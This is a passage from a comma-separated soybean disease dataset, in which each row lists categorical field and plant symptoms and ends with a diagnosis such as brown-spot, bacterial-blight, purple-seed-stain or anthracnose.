none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nseptember, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, absent, tan, present, firm-and-dry, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, other, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, lt-normal, norm, norm, no, same-lst-two-yrs, upper-areas, pot-severe, fungicide, lt-80, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, lt-normal, gt-norm, gt-norm, no, same-lst-yr, low-areas, minor, other, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, brown, absent, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, norm, absent, absent, norm, absent, norm, brown-spot\napril, normal, norm, norm, yes, diff-lst-year, scattered, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, gt-norm, yes, same-lst-yr, low-areas, minor, fungicide, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, other, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, none, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, absent, absent, absent, none, absent, norm, colored, norm, absent, absent, norm, absent, norm, brown-spot\naugust, normal, norm, norm, yes, same-lst-yr, scattered, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, brown, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, norm, absent, absent, norm, absent, norm, brown-spot\napril, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, other, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, norm, norm, yes, same-lst-sev-yrs, upper-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, gt-norm, yes, same-lst-yr, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\napril, normal, norm, norm, yes, same-lst-two-yrs, scattered, minor, other, lt-80, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, gt-norm, gt-norm, no, same-lst-sev-yrs, low-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nseptember, normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, low-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nseptember, normal, gt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\naugust, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nseptember, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\nmay, normal, gt-norm, norm, yes, same-lst-yr, whole-field, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, norm, no, same-lst-yr, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\naugust, lt-normal, norm, norm, yes, same-lst-two-yrs, upper-areas, minor, none, lt-80, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njune, lt-normal, norm, norm, yes, same-lst-yr, scattered, minor, none, lt-80, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\naugust, normal, norm, gt-norm, yes, same-lst-sev-yrs, upper-areas, minor, none, 80-89, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\nseptember, lt-normal, gt-norm, norm, no, same-lst-yr, whole-field, pot-severe, fungicide, lt-80, abnorm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njuly, normal, norm, norm, yes, same-lst-two-yrs, scattered, minor, none, 90-100, abnorm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\naugust, normal, gt-norm, norm, no, same-lst-sev-yrs, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njuly, normal, gt-norm, norm, no, same-lst-yr, upper-areas, pot-severe, fungicide, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\naugust, lt-normal, norm, norm, yes, same-lst-two-yrs, whole-field, minor, none, lt-80, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\nseptember, normal, gt-norm, norm, no, same-lst-sev-yrs, scattered, pot-severe, fungicide, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, bacterial-blight\njuly, normal, norm, lt-norm, no, same-lst-sev-yrs, whole-field, minor, none, 80-89, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, present, norm, absent, norm, bacterial-pustule\nmay, lt-normal, norm, norm, yes, same-lst-yr, scattered, minor, fungicide, lt-80, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, lt- \\\n norm, absent, rotted, bacterial-pustule\njune, normal, norm, gt-norm, no, same-lst-two-yrs, low-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, present, norm, absent, norm, bacterial-pustule\njuly, lt-normal, norm, norm, yes, same-lst-sev-yrs, upper-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, rotted, bacterial-pustule\njune, normal, gt-norm, norm, no, same-lst-sev-yrs, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, present, norm, absent, norm, bacterial-pustule\njune, normal, gt-norm, norm, no, same-lst-yr, whole-field, pot-severe, none, 80-89, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, present, norm, absent, norm, bacterial-pustule\nmay, normal, norm, norm, no, same-lst-sev-yrs, low-areas, minor, fungicide, 80-89, norm, abnorm, yellow-halos, w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, present, lt- \\\n norm, absent, norm, bacterial-pustule\njune, lt-normal, gt-norm, gt-norm, yes, same-lst-yr, upper-areas, pot-severe, fungicide, lt-80, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, rotted, bacterial-pustule\nseptember, normal, norm, gt-norm, no, diff-lst-year, low-areas, minor, none, 80-89, abnorm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, absent, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, present, norm, absent, norm, bacterial-pustule\njune, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, upper-areas, pot-severe, none, lt-80, norm, abnorm, yellow-halos, no-w-s-marg, lt-1/ \\\n 8, present, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, rotted, bacterial-pustule\nseptember, normal, gt-norm, gt-norm, no, same-lst-two-yrs, upper-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, no, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\noctober, normal, gt-norm, lt-norm, no, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\nseptember, normal, gt-norm, gt-norm, no, same-lst-yr, low-areas, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\naugust, normal, gt-norm, gt-norm, no, diff-lst-year, scattered, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, norm, no, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\nseptember, normal, gt-norm, lt-norm, yes, same-lst-yr, low-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\noctober, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, minor, none, lt- \\\n 80, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\njuly, normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, none, 80- \\\n 89, norm, norm, absent, dna, dna, absent, absent, absent, norm, yes, absent, tan, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, purple-seed-stain\njuly, normal, gt-norm, lt-norm, yes, same-lst-sev-yrs, whole-field, minor, none, lt- \\\n 80, norm, norm, absent, dna, dna, absent, absent, absent, norm, yes, absent, tan, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, purple-seed-stain\nseptember, normal, gt-norm, gt-norm, yes, same-lst-yr, low-areas, minor, fungicide, lt- \\\n 80, norm, norm, absent, dna, dna, absent, absent, absent, norm, yes, absent, tan, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, purple-seed-stain\noctober, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, lt-1/ \\\n 8, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, none, absent, diseased, colored, abnorm, absent, present, norm, absent, norm, purple-seed-stain\napril, normal, gt-norm, norm, yes, diff-lst-year, scattered, minor, none, 90-100, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-soil, brown, absent, firm-and-dry, absent, none, absent, norm, absent, abnorm, absent, present, lt-norm, present, norm, anthracnose\njune, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, minor, other, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, absent, firm-and-dry, absent, none, absent, norm, absent, abnorm, absent, present, lt-norm, present, norm, anthracnose\naugust, normal, gt-norm, norm, yes, diff-lst-year, scattered, minor, fungicide, 80-89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, absent, lt-norm, present, norm, anthracnose\nmay, normal, gt-norm, norm, yes, diff-lst-year, scattered, minor, other, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-soil, brown, absent, firm-and-dry, absent, none, absent, norm, absent, abnorm, absent, present, norm, present, norm, anthracnose\naugust, lt-normal, gt-norm, gt-norm, no, same-lst-yr, low-areas, pot-severe, none, 90-100, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, dk-brown-blk, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, absent, lt-norm, absent, norm, anthracnose\noctober, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\noctober, lt-normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, 90-100, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\noctober, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 90-100, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\nseptember, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, lt-80, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\nseptember, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 90-100, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, fungicide, lt-80, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, absent, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\njuly, lt-normal, gt-norm, gt-norm, no, same-lst-yr, low-areas, minor, fungicide, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, dk-brown-blk, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\naugust, lt-normal, gt-norm, gt-norm, no, same-lst-yr, low-areas, minor, fungicide, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, dk-brown-blk, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\nseptember, lt-normal, gt-norm, gt-norm, no, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\noctober, lt-normal, gt-norm, gt-norm, no, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\naugust, normal, gt-norm, norm, yes, same-lst-yr, low-areas, severe, none, 90-100, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, absent, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\nseptember, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, fungicide, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\noctober, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 90-100, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\naugust, lt-normal, gt-norm, norm, yes, same-lst-yr, low-areas, severe, fungicide, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, absent, absent, 